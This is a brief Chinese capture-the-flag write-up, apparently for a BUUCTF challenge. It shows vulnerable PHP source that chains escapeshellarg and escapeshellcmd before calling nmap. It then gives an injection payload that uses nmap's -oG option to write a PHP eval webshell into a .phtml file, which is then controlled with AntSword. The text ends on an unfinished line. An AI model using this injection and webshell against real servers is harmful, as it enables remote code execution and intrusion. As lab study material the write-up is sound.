昨天写了一个差不多的题 online tool 这个题目就比较直观了属于是
源码
<?php
require('settings.php');
set_time_limit(0);
if (isset($_POST['host'])):
if (!defined('WEB_SCANS')) {
die('Web scans disabled');
}
$host = $_POST['host'];
if(stripos($host,'php')!==false){
die("Hacker...");
}
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$filename = substr(md5(time() . rand(1, 10)), 0, 5);
$command = "nmap ". NMAP_ARGS . " -oX " . RESULTS_PATH . $filename . " " . $host;
$result_scan = shell_exec($command);
if (is_null($result_scan)) {
die('Something went wrong');
} else {
header('Location: result.php?f=' . $filename);
}
else:
....................
?>
PHP被过滤了
当Nmap使用参数 -oG 时,能够将扫描的记录输出保存为.txt格式,而且其扫描记录当中一定会包括我们的扫描目标,我们利用这一点将webshell包含到我们指定的文本当中。
选项 -oN 标准保存 -oX XML保存 -oG Grep保存 -oA 保存到所有格式 -append-output 补充保存文件
' <?=eval($_POST["1"]);?> -oG 1.phtml '
(闭合) 伪造主机地址(实际为webshell) 保存 闭合文本
访问buu/1.phtml 蚁剑连接 在根目录下找到flag
另外一种方法 对Nmap掌握较好可尝试
|